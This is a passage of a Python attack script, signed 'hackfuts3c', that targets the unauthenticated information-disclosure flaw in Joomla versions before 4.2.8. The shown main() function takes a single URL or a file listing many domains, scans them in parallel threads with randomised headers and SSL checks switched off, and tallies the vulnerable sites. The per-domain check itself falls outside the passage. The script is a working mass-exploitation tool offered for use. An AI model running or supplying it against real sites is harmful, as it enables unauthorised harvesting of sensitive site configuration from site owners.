⠀⠀⠀⠀⠀⠀⠀⠀⠀⡸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⢿⣿⣿⣿⣿⣿⣿⣿⡿⠿⠟⠛⠛⠉⠉⠀⠀⠀⠀⠛⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⡇⠀⠀⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⠟⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⡆⠀⠀⠀⠀⠀⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢻⡿⠛⢉⠤⠂⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀
⣠⡆⠀⠗⠀⠀⠀⠀⢹⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⡠⢊⣡⠞⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣶⣿⣿⣿
⣾⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣴⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿
⠋⠀⠀⢀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿
⠀⠀⠀⢺⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣠⡄⠀⢸⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⡇⠀⠀⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠢⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⢸⡇⠀⡆⢹⣿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠀⠀⠀⠀⠀⠺⠃⠀⠀⠀⢀⡀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
                                                                     🅑🅨 🅗🅐🅒🅚🅕🅤🅣🅢3🅒 🅥8.0    
    """
    print_colored(banner, Fore.RED, bold=True)
    
    parser = argparse.ArgumentParser(description='Joomla! < 4.2.8 - Unauthenticated information disclosure')
    parser.add_argument('url', nargs='?', help='Root URL (base path) including HTTP scheme, port and root folder')
    parser.add_argument('-f', '--file', help='File containing list of domains to check (one per line)')
    parser.add_argument('--debug', action='store_true', help='Display debug information')
    parser.add_argument('-t', '--threads', type=int, default=5, help='Number of threads for file mode (default: 5)')
    
    args = parser.parse_args()
    
    if args.debug:
        print_colored(f"[DEBUG] Arguments: {args}", Fore.CYAN)
    
    # Créer une session avec des headers randomisés
    session = requests.Session()
    session.headers.update(get_random_headers())
    session.verify = False  # Désactiver la vérification SSL
    requests.packages.urllib3.disable_warnings()  # Supprimer les warnings SSL
    
    # File mode - check multiple domains
    if args.file:
        try:
            with open(args.file, 'r') as f:
                domains = [line.strip() for line in f if line.strip()]
            
            print_colored(f"[*] Loaded {len(domains)} domains from {args.file}", Fore.GREEN)
            print_colored(f"[*] Using {args.threads} threads", Fore.CYAN)
            
            vulnerable_count = 0
            start_time = time.time()
            
            with ThreadPoolExecutor(max_workers=args.threads) as executor:
                futures = {executor.submit(check_single_domain, domain, session): domain for domain in domains}
                
                for i, future in enumerate(as_completed(futures), 1):
                    if future.result():
                        vulnerable_count += 1
                    
                    # Afficher la progression toutes les 10 requêtes
                    if i % 10 == 0:
                        elapsed = time.time() - start_time
                        print_colored(f"\n[*] Progress: {i}/{len(domains)} - Found: {vulnerable_count} - Time: {elapsed:.1f}s", Fore.CYAN)
            
            elapsed = time.time() - start_time
            print_colored(f"\n[*] Scan completed in {elapsed:.1f} seconds!", Fore.GREEN, bold=True)
            print_colored(f"[*] Found {vulnerable_count} vulnerable domains out of {len(domains)}", Fore.GREEN, bold=True)
            
        except FileNotFoundError:
            print_colored(f"[-] File {args.file} not found!", Fore.RED)
            sys.exit(1)
        except Exception as e:
            print_colored(f"[-] Error reading file: {str(e)}", Fore.RED)
            sys.exit(1)
    
    # Single URL mode
    elif args.url:
        check_single_domain(args.url, session)
    
    else:
        print_colored("[-] Please provide a URL or a file with domains!", Fore.RED)
        parser.print_help()
        sys.exit(1)

if __name__ == "__main__":
    main()